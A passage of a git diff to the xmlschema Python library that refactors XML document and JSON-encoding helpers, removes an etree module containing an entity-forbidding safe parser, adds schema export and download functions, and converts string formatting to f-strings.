Union[str, bytes, IO[str]], :param source: can be a string or a :meth:`read()` supporting file-like object \ containing the JSON document. :param schema: an :class:`XMLSchema10` or an :class:`XMLSchema11` instance. + :param cls: class to use for building the schema instance (for default uses \ + :class:`XMLSchema10`). :param path: is an optional XPath expression for selecting the element of the schema \ that matches the data that has to be encoded. For default the first global element of \ the schema is used. - :param converter: an :class:`XMLSchemaConverter` subclass or instance to use \ - for the encoding. + :param validation: the XSD validation mode. Can be 'strict', 'lax' or 'skip'. + :param namespaces: is an optional mapping from namespace prefix to URI. + :param use_defaults: whether to use default values for filling missing data. + :param converter: an :class:`XMLSchemaConverter` subclass or instance to use for \ + the encoding. + :param unordered: a flag for explicitly activating unordered encoding mode for \ + content model data. This mode uses content models for a reordered-by-model \ + iteration of the child elements. :param json_options: a dictionary with options for the JSON deserializer. - :param kwargs: other optional arguments of :meth:`XMLSchema.iter_encode` and \ + :param kwargs: other optional arguments of :meth:`XMLSchemaBase.iter_encode` and \ options for converter. :return: An element tree's Element instance. If ``validation='lax'`` keyword argument is \ provided the validation errors are collected and returned coupled in a tuple with the \ @@ -400,9 +538,7 @@ def from_json(source: Union[str, bytes, IO[str]], :raises: :exc:`XMLSchemaValidationError` if the object is not encodable by the schema, \ or also if it's invalid when ``validation='strict'`` is provided. """ - if not isinstance(schema, XMLSchemaBase): - raise XMLSchemaTypeError("invalid type %r for argument 'schema'" % type(schema)) - elif json_options is None: + if json_options is None: json_options = {} if isinstance(source, (str, bytes)): @@ -410,7 +546,18 @@ def from_json(source: Union[str, bytes, IO[str]], else: obj = json.load(source, **json_options) - return schema.encode(obj, path=path, converter=converter, **kwargs) + return to_etree( + obj=obj, + schema=schema, + cls=cls, + path=path, + validation=validation, + namespaces=namespaces, + use_defaults=use_defaults, + converter=converter, + unordered=unordered, + **kwargs + ) class XmlDocument(XMLResource): @@ -419,10 +566,10 @@ class XmlDocument(XMLResource): context and validation argument is 'skip' the XML document is associated with a generic schema, otherwise a ValueError is raised. - :param source: a string containing XML data or a file path or an URL or a \ + :param source: a string containing XML data or a file path or a URL or a \ file like object or an ElementTree or an Element. :param schema: can be a :class:`xmlschema.XMLSchema` instance or a file-like \ - object or a file path or an URL of a resource or a string containing the XSD schema. + object or a file path or a URL of a resource or a string containing the XSD schema. :param cls: class to use for building the schema instance (for default \ :class:`XMLSchema10` is used). :param validation: the XSD validation mode to use for validating the XML document, \ @@ -435,6 +582,12 @@ class XmlDocument(XMLResource): :param defuse: the defuse mode for base :class:`xmlschema.XMLResource` initialization. :param timeout: the timeout for base :class:`xmlschema.XMLResource` initialization. :param lazy: the lazy mode for base :class:`xmlschema.XMLResource` initialization. + :param thin_lazy: the thin_lazy option for base :class:`xmlschema.XMLResource` \ + initialization. + :param uri_mapper: an optional argument for building the schema from location hints. + :param use_location_hints: for default, in case a schema instance has \ + to be built, uses also schema locations hints provided within XML data. \ + Set this option to `False` to ignore these schema location hints. """ schema: Optional[XMLSchemaBase] = None _fallback_schema: Optional[XMLSchemaBase] = None @@ -452,44 +605,59 @@ def __init__(self, source: XMLSourceType, allow: str = 'all', defuse: str = 'remote', timeout: int = 300, - lazy: LazyType = False) -> None: + lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True) -> None: if cls is None: cls = XMLSchema10 self.validation = validation - self._namespaces = namespaces - super(XmlDocument, self).__init__(source, base_url, allow, defuse, timeout, lazy) + self._namespaces = get_namespace_map(namespaces) + super().__init__(source, base_url, allow, defuse, timeout, lazy, thin_lazy) if isinstance(schema, XMLSchemaBase) and self.namespace in schema.maps.namespaces: self.schema = schema elif schema is not None and not isinstance(schema, XMLSchemaBase): self.schema = cls( source=schema, + locations=locations, base_url=base_url, allow=allow, defuse=defuse, timeout=timeout, + uri_mapper=uri_mapper ) else: - try: - schema_location, locations = fetch_schema_locations(self, locations, base_url) - except ValueError: + if use_location_hints: + try: + schema_location, locations = fetch_schema_locations( + source=self, + locations=locations, + base_url=base_url, + uri_mapper=uri_mapper, + root_only=False + ) + except ValueError: + pass + else: + self.schema = cls( + source=schema_location, + locations=locations, + allow=allow, + defuse=defuse, + timeout=timeout, + uri_mapper=uri_mapper + ) + + if self.schema is None: if XSI_TYPE in self._root.attrib: - self.schema = cls.meta_schema + self.schema = get_dummy_schema(self._root.tag, cls) elif validation != 'skip': - msg = "no schema can be retrieved for the XML resource" - raise XMLSchemaValueError(msg) from None + msg = "cannot get a schema for XML data, provide a schema argument" + raise XMLSchemaValueError(msg) else: - self._fallback_schema = get_dummy_schema(self, cls) - else: - self.schema = cls( - source=schema_location, - validation='strict', - locations=locations, - defuse=defuse, - allow=allow, - timeout=timeout, - ) + self._fallback_schema = get_dummy_schema(self._root.tag, cls) if self.schema is None: pass @@ -498,11 +666,11 @@ def __init__(self, source: XMLSourceType, elif validation == 'lax': self.errors = [e for e in self.schema.iter_errors(self, namespaces=self.namespaces)] elif validation != 'skip': - raise XMLSchemaValueError("{!r}: not a validation mode".format(validation)) + raise XMLSchemaValueError("%r is not a validation mode" % validation) def parse(self, source: XMLSourceType, lazy: LazyType = False) -> None: - super(XmlDocument, self).parse(source, lazy) - self.namespaces = self.get_namespaces(self._namespaces) + super().parse(source, lazy) + self.namespaces = self.get_namespaces(root_only=True) if self.schema is None: pass @@ -511,41 +679,32 @@ def parse(self, source: XMLSourceType, lazy: LazyType = False) -> None: elif self.validation == 'lax': self.errors = [e for e in self.schema.iter_errors(self, namespaces=self.namespaces)] + def get_namespaces(self, namespaces: Optional[NamespacesType] = None, + root_only: bool = True) -> NamespacesType: + namespaces = get_namespace_map(namespaces) + update_namespaces(namespaces, self._namespaces.items(), root_declarations=True) + return super().get_namespaces(namespaces, root_only) + def getroot(self) -> ElementType: """Get the root element of the XML document.""" return self._root def get_etree_document(self) -> Any: """ - The resource as ElementTree XML document. If the resource is lazy raises a resource error. + The resource as ElementTree XML document. If the resource is lazy + raises a resource error. """ if is_etree_document(self._source): return self._source elif self._lazy: - msg = "cannot create an ElementTree from a lazy resource" - raise XMLResourceError(msg) + raise XMLResourceError( + "cannot create an ElementTree instance from a lazy XML resource" + ) elif hasattr(self._root, 'nsmap'): return self._root.getroottree() # type: ignore[attr-defined] else: return ElementTree.ElementTree(self._root) - def tostring(self, indent: str = '', max_lines: Optional[int] = None, - spaces_for_tab: int = 4, xml_declaration: bool = False, - encoding: str = 'unicode', method: str = 'xml') -> str: - if self._lazy: - raise XMLResourceError("cannot serialize a lazy XML document") - - _string = etree_tostring( - elem=self._root, - namespaces=self.namespaces, - xml_declaration=xml_declaration, - encoding=encoding, - method=method - ) - if isinstance(_string, bytes): - return _string.decode('utf-8') - return _string - def decode(self, **kwargs: Any) -> DecodeType[Any]: """ Decode the XML document to a nested Python dictionary. @@ -618,7 +777,7 @@ def write(self, file: Union[str, TextIO, BinaryIO], default_namespace: Optional[str] = None, method: str = "xml") -> None: """Serialize an XML resource to a file. Cannot be used with lazy resources.""" if self._lazy: - raise XMLResourceError("cannot serialize a lazy XML document") + raise XMLResourceError("cannot serialize a lazy XML resource") kwargs: Dict[str, Any] = { 'xml_declaration': xml_declaration, @@ -663,4 +822,5 @@ def write(self, file: Union[str, TextIO, BinaryIO], else: file.write(_string) else: - raise XMLSchemaTypeError(f"unexpected type {type(file)} for 'file' argument") + msg = "unexpected type %r for 'file' argument" + raise XMLSchemaTypeError(msg % type(file)) diff --git a/xmlschema/etree.py b/xmlschema/etree.py deleted file mode 100644 index 19fb906..0000000 --- a/xmlschema/etree.py +++ /dev/null @@ -1,225 +0,0 @@ -# -# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). -# All rights reserved. -# This file is distributed under the terms of the MIT License. -# See the file 'LICENSE' in the root directory of the present -# distribution, or http://opensource.org/licenses/MIT. -# -# @author Davide Brunato <brunato@sissa.it> -# -""" -A unified setup module for ElementTree with a safe parser and helper functions. -""" -import sys -import re -from collections import namedtuple -from typing import Any, MutableMapping, Optional, Union - -from .exceptions import XMLSchemaTypeError - -_REGEX_NS_PREFIX = re.compile(r'ns\d+$') - -### -# Programmatic import of xml.etree.ElementTree -# -# In Python 3 the pure python implementation is overwritten by the C module API, -# so use a programmatic re-import to obtain the pure Python module, necessary for -# defining a safer XMLParser. -# -if '_elementtree' in sys.modules: - if 'xml.etree.ElementTree' not in sys.modules: - raise RuntimeError("Inconsistent status for ElementTree module: module " - "is missing but the C optimized version is imported.") - - import xml.etree.ElementTree as ElementTree - - # Temporary remove the loaded modules - sys.modules.pop('xml.etree.ElementTree') - _cmod = sys.modules.pop('_elementtree') - - # Load the pure Python module - sys.modules['_elementtree'] = None # type: ignore[assignment] - import xml.etree.ElementTree as PyElementTree - import xml.etree - - # Restore original modules - sys.modules['_elementtree'] = _cmod - xml.etree.ElementTree = ElementTree - sys.modules['xml.etree.ElementTree'] = ElementTree - -else: - # Load the pure Python module - sys.modules['_elementtree'] = None # type: ignore[assignment] - import xml.etree.ElementTree as PyElementTree - - # Remove the pure Python module from imported modules - del sys.modules['xml.etree'] - del sys.modules['xml.etree.ElementTree'] - del sys.modules['_elementtree'] - - # Load the C optimized ElementTree module - import xml.etree.ElementTree as ElementTree - - -etree_element = ElementTree.Element -ParseError = ElementTree.ParseError -py_etree_element = PyElementTree.Element - - -class SafeXMLParser(PyElementTree.XMLParser): - """ - An XMLParser that forbids entities processing. Drops the *html* argument - that is deprecated since version 3.4. - - :param target: the target object called by the `feed()` method of the \ - parser, that defaults to `TreeBuilder`. - :param encoding: if provided, its value overrides the encoding specified \ - in the XML file. - """ - def __init__(self, target: Optional[Any] = None, encoding: Optional[str] = None) -> None: - super(SafeXMLParser, self).__init__(target=target, encoding=encoding) - self.parser.EntityDeclHandler = self.entity_declaration - self.parser.UnparsedEntityDeclHandler = self.unparsed_entity_declaration - self.parser.ExternalEntityRefHandler = self.external_entity_reference - - def entity_declaration(self, entity_name, is_parameter_entity, value, base, # type: ignore - system_id, public_id, notation_name): - raise PyElementTree.ParseError( - "Entities are forbidden (entity_name={!r})".format(entity_name) - ) - - def unparsed_entity_declaration(self, entity_name, base, system_id, # type: ignore - public_id, notation_name): - raise PyElementTree.ParseError( - "Unparsed entities are forbidden (entity_name={!r})".format(entity_name) - ) - - def external_entity_reference(self, context, base, system_id, public_id): # type: ignore - raise PyElementTree.ParseError( - "External references are forbidden (system_id={!r}, " - "public_id={!r})".format(system_id, public_id) - ) # pragma: no cover (EntityDeclHandler is called before) - - -ElementData = namedtuple('ElementData', ['tag', 'text', 'content', 'attributes']) -""" -Namedtuple for Element data interchange between decoders and converters. -The field *tag* is a string containing the Element's tag, *text* can be `None` -or a string representing the Element's text, *content* can be `None`, a list -containing the Element's children or a dictionary containing element name to -list of element contents for the Element's children (used for unordered input -data), *attributes* can be `None` or a dictionary containing the Element's -attributes. -""" - - -def is_etree_element(obj: Any) -> bool: - """A checker for valid ElementTree elements that excludes XsdElement objects.""" - return hasattr(obj, 'append') and hasattr(obj, 'tag') and hasattr(obj, 'attrib') - - -def etree_tostring(elem: etree_element, - namespaces: Optional[MutableMapping[str, str]] = None, - indent: str = '', - max_lines: Optional[int] = None, - spaces_for_tab: Optional[int] = None, - xml_declaration: Optional[bool] = None, - encoding: str = 'unicode', - method: str = 'xml') -> Union[str, bytes]: - """ - Serialize an Element tree to a string. Tab characters are replaced by whitespaces. - - :param elem: the Element instance. - :param namespaces: is an optional mapping from namespace prefix to URI. \ - Provided namespaces are registered before serialization. - :param indent: the base line indentation. - :param max_lines: if truncate serialization after a number of lines \ - (default: do not truncate). - :param spaces_for_tab: number of spaces for replacing tab characters. \ - For default tabs are replaced with 4 spaces, but only if not empty \ - indentation or a max lines limit are provided. - :param xml_declaration: if set to `True` inserts the XML declaration at the head. - :param encoding: if "unicode" (the default) the output is a string, otherwise it’s binary. - :param method: is either "xml" (the default), "html" or "text". - :return: a Unicode string. - """ - def reindent(line: str) -> str: - if not line: - return line - elif line.startswith(min_indent): - return line[start:] if start >= 0 else indent[start:] + line - else: - return indent + line - - etree_module: Any - if not is_etree_element(elem): - raise XMLSchemaTypeError("{!r} is not an Element".format(elem)) - - elif isinstance(elem, py_etree_element): - etree_module = PyElementTree - elif not hasattr(elem, 'nsmap'): - etree_module = ElementTree - else: - import lxml.etree as etree_module # type: ignore[no-redef] - - if namespaces: - default_namespace = namespaces.get('') - for prefix, uri in namespaces.items(): - if prefix and not _REGEX_NS_PREFIX.match(prefix): - etree_module.register_namespace(prefix, uri) - if uri == default_namespace: - default_namespace = None - - if default_namespace and not hasattr(elem, 'nsmap'): - etree_module.register_namespace('', default_namespace) - - xml_text = etree_module.tostring(elem, encoding=encoding, method=method) - if isinstance(xml_text, bytes): - xml_text = xml_text.decode('utf-8') - - if spaces_for_tab: - xml_text = xml_text.replace('\t', ' ' * spaces_for_tab) - elif method != 'text' and (indent or max_lines): - xml_text = xml_text.replace('\t', ' ' * 4) - - if xml_text.startswith('<?xml '): - if xml_declaration is False: - lines = xml_text.splitlines()[1:] - else: - lines = xml_text.splitlines() - elif xml_declaration and encoding.lower() != 'unicode': - lines = ['<?xml version="1.0" encoding="{}"?>'.format(encoding)] - lines.extend(xml_text.splitlines()) - else: - lines = xml_text.splitlines() - - # Clear ending empty lines - while lines and not lines[-1].strip(): - lines.pop(-1) - - if not lines or method == 'text' or (not indent and not max_lines): - if encoding == 'unicode': - return '\n'.join(lines) - return '\n'.join(lines).encode(encoding) - - last_indent = ' ' * min(k for k in range(len(lines[-1])) if lines[-1][k] != ' ') - if len(lines) > 2: - child_indent = ' ' * min( - k for line in lines[1:-1] for k in range(len(line)) if line[k] != ' ' - ) - min_indent = min(child_indent, last_indent) - else: - min_indent = child_indent = last_indent - - start = len(min_indent) - len(indent) - - if max_lines is not None and len(lines) > max_lines + 2: - lines = lines[:max_lines] + [child_indent + '...'] * 2 + lines[-1:] - - if encoding == 'unicode': - return '\n'.join(reindent(line) for line in lines) - return '\n'.join(reindent(line) for line in lines).encode(encoding) - - -__all__ = ['ElementTree', 'PyElementTree', 'ParseError', 'SafeXMLParser', 'etree_element', - 'py_etree_element', 'ElementData', 'is_etree_element', 'etree_tostring'] diff --git a/xmlschema/exports.py b/xmlschema/exports.py new file mode 100644 index 0000000..53625c4 --- /dev/null +++ b/xmlschema/exports.py @@ -0,0 +1,375 @@ +# +# Copyright (c), 2016-2023, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +import re +import logging +import pprint +from dataclasses import dataclass +from itertools import chain +from pathlib import Path +from typing import TYPE_CHECKING, Any, Dict, Optional, Iterable, List, Set, Union, Tuple +from urllib.parse import unquote, urlsplit +from xml.etree import ElementTree + +from .exceptions import XMLResourceError, XMLSchemaValueError +from .names import XSD_SCHEMA, XSD_IMPORT, XSD_INCLUDE, XSD_REDEFINE, XSD_OVERRIDE +from .helpers import logged +from .locations import LocationPath, is_remote_url, normalize_url, match_location +from .translation import gettext as _ +from .resources import XMLResource + +if TYPE_CHECKING: + from .validators import XMLSchemaBase + +logger = logging.getLogger('xmlschema') + +FIND_PATTERN = r'\bschemaLocation\s*=\s*[\'"]([^\'"]*)[\'"]' +REPLACE_PATTERN = r'\bschemaLocation\s*=\s*[\'"]\s*{0}\s*[\'"]' + + +@dataclass +class XsdSource: + """Class for keeping track of an XSD schema source.""" + path: LocationPath + resource: XMLResource + + def __init__(self, path: LocationPath, resource: XMLResource) -> None: + self.path = path + self.resource = resource + self.text = resource.get_text() + self.processed = False + self.modified = False + self.substitutions: Optional[List[Tuple[str, str]]] = None + + @property + def schema_locations(self) -> Set[str]: + """Extract schema locations from XSD resource tree.""" + locations = set() + for child in self.resource.root: + if child.tag in (XSD_IMPORT, XSD_INCLUDE, XSD_REDEFINE, XSD_OVERRIDE): + schema_location = child.get('schemaLocation', '').strip() + if schema_location: + locations.add(schema_location) + + return locations + + def replace_location(self, location: str, repl_location: str) -> None: + if location == repl_location: + return + + logger.debug("Replace location %r with %r", location, repl_location) + repl = f'schemaLocation="{repl_location}"' + pattern = REPLACE_PATTERN.format(re.escape(location)) + self.text = re.sub(pattern, repl, self.text) + self.modified = True + + def get_location_path(self, location: str, + ref: Union['XMLSchemaBase', XMLResource], + modify: bool = True) -> LocationPath: + """ + Return a relative location path for the referred XSD schema, replacing + the original location in the schema source, if necessary. + """ + parts: Any + + if is_remote_url(location): + parts = urlsplit(unquote(location)) + path = LocationPath(parts.scheme). \ + joinpath(parts.netloc). \ + joinpath(parts.path.lstrip('/')) + else: + if location.startswith('file:/'): + path = LocationPath(unquote(urlsplit(location).path)) + else: + path = LocationPath(unquote(location)) + + if not path.is_absolute(): + path = self.path.parent.joinpath(path).normalize() + if not str(path).startswith('..'): + # A relative path that doesn't exceed the loading schema dir + return path + + # Use the absolute resource path + path = LocationPath(ref.filepath) # type: ignore[arg-type] + + if path.drive: + drive = path.drive.split(':')[0] + path = LocationPath(drive).joinpath('/'.join(path.parts[1:])) + + path = LocationPath('file').joinpath(path.as_posix().lstrip('/')) + + if path.is_absolute(): + raise XMLSchemaValueError(f'Replacing path {path} is not relative!') + + # Obtain the replacement location + parts = path.parent.parts + dir_parts = self.path.parent.parts + + k = 0 + for item1, item2 in zip(parts, dir_parts): + if item1 != item2: + break + k += 1 + + if not k: + prefix = '/'.join(['..'] * len(dir_parts)) + repl_path = LocationPath(prefix).joinpath(path) + else: + repl_path = LocationPath('/'.join(parts[k:])).joinpath(path.name) + if k < len(dir_parts): + prefix = '/'.join(['..'] * (len(dir_parts) - k)) + repl_path = LocationPath(prefix).joinpath(repl_path) + + repl_location = repl_path.as_posix() + if location != repl_location: + if self.substitutions is None: + self.substitutions = [] + self.substitutions.append((location, repl_location)) + + if modify: + self.replace_location(location, repl_location) + + return path + + +def save_sources(target: Union[str, Path], + sources: Iterable[XsdSource], + save_locations: bool = False) -> Dict[str, str]: + """Save XSD sources to a target directory.""" + target_path = Path(target) if isinstance(target, str) else target + if target_path.is_dir(): + if list(target_path.iterdir()): + msg = _("target directory {} is not empty") + raise XMLSchemaValueError(msg.format(target)) + elif target_path.exists(): + msg = _("target {} is not a directory") + raise XMLSchemaValueError(msg.format(target_path.parent)) + elif not target_path.parent.exists(): + msg = _("target parent directory {} does not exist") + raise XMLSchemaValueError(msg.format(target_path.parent)) + elif not target_path.parent.is_dir(): + msg = _("target parent {} is not a directory") + raise XMLSchemaValueError(msg.format(target_path.parent)) + + location_map = {} + + for src in sources: + assert src.processed + + filepath = target_path.joinpath(src.path) + + # Safety check: raise error if filepath is not inside the target path + try: + filepath.resolve(strict=False).relative_to(target_path.resolve(strict=False)) + except ValueError: + msg = _("target directory {} violation for exported path {}, {}") + raise XMLSchemaValueError(msg.format(target, str(src.path), str(filepath))) + + if not filepath.parent.exists(): + filepath.parent.mkdir(parents=True) + + encoding = 'utf-8' # default encoding for XML 1.0 + + if src.text.startswith('<?'): + # Get the encoding from XML declaration + xml_declaration = src.text.split('\n', maxsplit=1)[0] + re_match = re.search('(?<=encoding=["\'])[^"\']+', xml_declaration) + if re_match is not None: + encoding = re_match.group(0).lower() + + if src.modified: + logger.info("Write modified XSD source to %s", filepath) + else: + logger.info("Write unchanged XSD source to %s", filepath) + + if src.substitutions: + for location, repl_location in src.substitutions: + if location not in location_map: + location_map[location] = repl_location + elif repl_location != location_map[location]: + logger.warning("Substitution collision for location %r: %r != %r", + location, repl_location, location_map[location]) + + with filepath.open(mode='w', encoding=encoding) as fp: + fp.write(src.text) + + if save_locations: + with target_path.joinpath('__init__.py').open('w') as fp: + logger.info("Write LOCATION_MAP to %s", fp.name) + fp.write(f'LOCATION_MAP = {pprint.pformat(location_map)}') + + return location_map + + +@logged +def export_schema(schema: 'XMLSchemaBase', + target: Union[str, Path], + save_remote: bool = False, + remove_residuals: bool = True, + exclude_locations: Optional[List[str]] = None, + loglevel: Optional[Union[str, int]] = None) -> Dict[str, str]: + """ + Export XSD sources used by a schema instance to a target directory. + Don't use this function directly, use XMLSchema.export() method instead. + """ + def residuals_filter(x: str) -> bool: + return is_remote_url(x) and x not in schema.includes and \ + (exclude_locations is None or x not in exclude_locations) + + if loglevel is not None: + logger.info("Export schema using loglevel %r", loglevel) + + name = schema.name or 'schema.xsd' + exports = {schema: XsdSource(LocationPath(name), schema.source)} + path: Any + + if exclude_locations is None: + exclude_locations = [] + + logger.debug("Start export of schema %r", name) + + while True: + current_length = len(exports) + + for schema in list(exports): + schema_source = exports[schema] + if schema_source.processed: + continue # Skip already processed schemas + + schema_source.processed = True + logger.debug("Process schema instance %r", schema) + + schema_locations = schema_source.schema_locations + + imports_items = [(x.url, x) for x in schema.imports.values() + if x is not None and x.meta_schema is not None] + + for location, ref_schema in chain(schema.includes.items(), imports_items): + if not location: + continue + elif location in exclude_locations or not save_remote and is_remote_url(location): + logger.debug("Location %r is excluded by argument", location) + continue + + # Find matching schema location + location_match = match_location(location, schema_locations) + if location_match is None: + logger.debug("Unmatched location %r, skip ...", location) + continue + + location = location_match + logger.debug("Matched location %r", location) + schema_locations.remove(location) + + path = schema_source.get_location_path(location, ref_schema) + if ref_schema not in exports: + exports[ref_schema] = XsdSource(path, ref_schema.source) + + if remove_residuals: + # Deactivate residual redundant imports from remote URLs + for location in filter(residuals_filter, schema_locations): + logger.debug("Clear residual remote location %r", location) + schema_source.replace_location(location, '') + + if current_length == len(exports): + break + + return save_sources(target, exports.values()) + + +@logged +def download_schemas(url: str, + target: Union[str, Path], + save_remote: bool = True, + save_locations: bool = True, + modify: bool = False, + defuse: str = 'remote', + timeout: int = 300, + exclude_locations: Optional[List[str]] = None, + loglevel: Optional[Union[str, int]] = None) -> Dict[str, str]: + """ + Download one or more schemas from a URL and save them in a target directory. All the + referred locations in schema sources are downloaded and stored in the target directory. + + :param url: The URL of the schema to download, usually a remote one. + :param target: the target directory to save the schema. + :param save_remote: if to save remote schemas, defaults to `True`. + :param save_locations: for default save a LOCATION_MAP dictionary to a `__init__.py`, \ + that can be imported in your code to provide a *uri_mapper* argument for build the \ + schema instance. Provide `False` to skip the package file creation in the target \ + directory. + :param modify: provide `True` to modify original schemas, defaults to `False`. + :param defuse: when to defuse XML data before loading, defaults to `'remote'`. + :param timeout: the timeout in seconds for the connection attempt in case of remote data. + :param exclude_locations: provide a list of locations to skip. + :param loglevel: for setting a different logging level for schema downloads call. + :return: a dictionary containing the map of modified locations. + """ + if loglevel is not None: + logger.info("Download schemas using loglevel %r", loglevel) + + resource = XMLResource(url, defuse=defuse, timeout=timeout) + logger.info("Downloaded XML resource from %s", url) + if resource.root.tag != XSD_SCHEMA: + raise XMLSchemaValueError(f'Resource referred by {url} is not a XSD schema') + + name = resource.name + downloads = { + resource: XsdSource(LocationPath(name), resource) # type: ignore[arg-type] + } + path: Any + + if exclude_locations is None: + exclude_locations = [] + + logger.debug("Start download of schema resource %r", name) + + while True: + current_length = len(downloads) + + for resource in list(downloads): + schema_source = downloads[resource] + if schema_source.processed: + continue # Skip already processed schemas + + schema_source.processed = True + logger.debug("Process schema resource %r", resource) + schema_locations = schema_source.schema_locations + + for location in schema_locations: + if location in exclude_locations or not save_remote and is_remote_url(location): + logger.debug("Location %r is excluded by argument", location) + continue + + url = normalize_url(location, resource.base_url) + if any(x.url == url for x in downloads): + continue + + try: + ref_resource = XMLResource(url, defuse=defuse, timeout=timeout) + except (OSError, XMLResourceError) as err: + logger.error('Error accessing resource at URL %s: %s', url, err) + continue + except ElementTree.ParseError as err: + logger.error('Error parsing XML resource at URL %s: %s', url, err) + continue + else: + logger.info("Downloaded XML resource from %s", url) + + if ref_resource.root.tag != XSD_SCHEMA: + logger.error('XML resource at URL %s is not an XSD schema', url) + continue + + path = schema_source.get_location_path(location, ref_resource, modify) + downloads[ref_resource] = XsdSource(path, ref_resource) + + if current_length == len(downloads): + break + + return save_sources(target, downloads.values(), save_locations) diff --git a/xmlschema/extras/codegen.py b/xmlschema/extras/codegen.py index 98a4b26..5946408 100644 --- a/xmlschema/extras/codegen.py +++ b/xmlschema/extras/codegen.py @@ -7,7 +7,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors """ This module contains abstact base class and helper functions for building XSD based code generators. @@ -43,7 +43,7 @@ def is_shell_wildcard(pathname): def xsd_qname(name): - return '{%s}%s' % (XSD_NAMESPACE, name) + return f'{{{XSD_NAMESPACE}}}{name}' def filter_method(func): @@ -97,7 +97,7 @@ def __new__(mcs, name, bases, attrs): dirpath = Path(module_path).parent.joinpath(path) if not dirpath.is_dir(): - raise ValueError("path {!r} is not a directory!".format(str(path))) + raise ValueError(f"path {str(path)!r} is not a directory!") searchpaths.append(dirpath) except (KeyError, TypeError): @@ -187,7 +187,7 @@ def __init__(self, schema, searchpath=None, types_map=None): elif getattr(method.__func__, 'is_test', False): self.tests[name] = method - type_mapping_filter = '{}_type'.format(self.formal_language).lower().replace(' ', '_') + type_mapping_filter = f'{self.formal_language}_type'.lower().replace(' ', '_') if type_mapping_filter not in self.filters: self.filters[type_mapping_filter] = self.map_type @@ -197,8 +197,8 @@ def __init__(self, schema, searchpath=None, types_map=None): def __repr__(self): if self.schema.url: - return '%s(schema=%r)' % (self.__class__.__name__, self.schema.name) - return '%s(namespace=%r)' % (self.__class__.__name__, self.schema.target_namespace) + return f'{self.__class__.__name__}(schema={self.schema.name!r})' + return f'{self.__class__.__name__}(namespace={self.schema.target_namespace!r})' def list_templates(self, extensions=None, filter_func=None): return self._env.list_templates(extensions, filter_func) @@ -362,7 +362,7 @@ def qname(self, obj, unnamed='none', sep='__'): namespace, local_name = obj[1:].split('}') for prefix, uri in self.schema.namespaces.items(): if uri == namespace: - qname = '%s:%s' % (prefix, local_name) + qname = f'{prefix}:{local_name}' break else: qname = local_name @@ -427,7 +427,7 @@ def type_name(obj, suffix=None, unnamed='none'): name = name[:-5] if suffix: - name = '{}{}'.format(name, suffix) + name = f'{name}{suffix}' return name.replace('.', '_').replace('-', '_') @@ -457,7 +457,7 @@ def type_qname(obj, suffix=None, unnamed='none', sep='__'): qname = qname[:-5] if suffix: - qname = '{}{}'.format(qname, suffix) + qname = f'{qname}{suffix}' return qname.replace('.', '_').replace('-', '_').replace(':', sep) @@ -502,7 +502,7 @@ def sort_types(xsd_types, accept_circularity=False): if not deleted: if not accept_circularity: - raise ValueError("circularity found between {!r}".format(list(unordered))) + raise ValueError(f"circularity found between {list(unordered)!r}") ordered_types.extend(list(unordered)) break @@ -525,17 +525,20 @@ def is_derived(self, xsd_type, *names, derivation=None): for type_name in names: if not isinstance(type_name, str) or not type_name: continue # pragma: no cover - elif type_name[0] != '{' and ':' in type_name: + elif type_name[0] == '{': + other = self.schema.maps.types.get(type_name) + else: try: - type_name = self.schema.resolve_qname(type_name) + expanded_name = self.schema.resolve_qname(type_name) except xmlschema.XMLSchemaException: - continue + other = self.schema.types.get(type_name) + else: + other = self.schema.maps.types.get(expanded_name) + if other is None: + other = self.schema.types.get(type_name) - try: - if xsd_type.is_derived(self.schema.maps.types[type_name], derivation): - return True - except KeyError: - pass + if other is not None and xsd_type.is_derived(other, derivation): + return True return False diff --git a/xmlschema/extras/templates/python/bindings.py.jinja b/xmlschema/extras/templates/python/bindings.py.jinja index 0b47a05..c1e2a37 100644 --- a/xmlschema/extras/templates/python/bindings.py.jinja +++ b/xmlschema/extras/templates/python/bindings.py.jinja @@ -21,11 +21,11 @@ __NAMESPACE__ = "{{ schema.target_namespace }}" schema = xmlschema.XMLSchema10("{{ schema.name }}") {%- else -%} schema = xmlschema.XMLSchema11("{{ schema.name }}") -{%- endif %} +{%- endif -%} {# Bindings for global elements #} -{%- for xsd_element in schema.elements.values() %} +{% for xsd_element in schema.elements.values() %} + class {{ xsd_element|name|capitalize }}Binding(DataElement, metaclass=DataBindingMeta): xsd_element = schema.elements['{{ xsd_element.local_name }}'] - -{% endfor %} \ No newline at end of file +{% endfor %} diff --git a/xmlschema/extras/wsdl.py b/xmlschema/extras/wsdl.py index 4c3b8fa..08f7631 100644 --- a/xmlschema/extras/wsdl.py +++ b/xmlschema/extras/wsdl.py @@ -1,5 +1,5 @@ # -# Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). +# Copyright (c), 2016-2023, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present @@ -7,7 +7,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors import os from ..exceptions import XMLSchemaException, XMLSchemaValueError @@ -15,9 +15,9 @@ SCHEMAS_DIR, XSD_ANY_TYPE, XSD_SCHEMA from ..helpers import get_qname, local_name, get_extended_qname, get_prefixed_qname from ..namespaces import NamespaceResourcesMap -from ..resources import fetch_resource +from ..locations import normalize_url from ..documents import XmlDocument -from ..validators import XMLSchema10 +from ..validators import XMLSchemaBase, XMLSchema10 # WSDL 1.1 global declarations @@ -111,7 +111,7 @@ def _parse_reference(self, elem, attribute_name): class WsdlMessage(WsdlComponent): def __init__(self, elem, wsdl_document): - super(WsdlMessage, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) self.parts = {} xsd_elements = wsdl_document.schema.maps.elements xsd_types = wsdl_document.schema.maps.types @@ -138,7 +138,7 @@ def __init__(self, elem, wsdl_document): self.parts[part_name] = xsd_elements[element_name] except KeyError: self.parts[part_name] = xsd_types[XSD_ANY_TYPE] - msg = "missing schema element {!r}".format(element_name) + msg = f"missing schema element {element_name!r}" wsdl_document.parse_error(msg) continue # pragma: no cover @@ -154,14 +154,14 @@ def __init__(self, elem, wsdl_document): self.parts[part_name] = 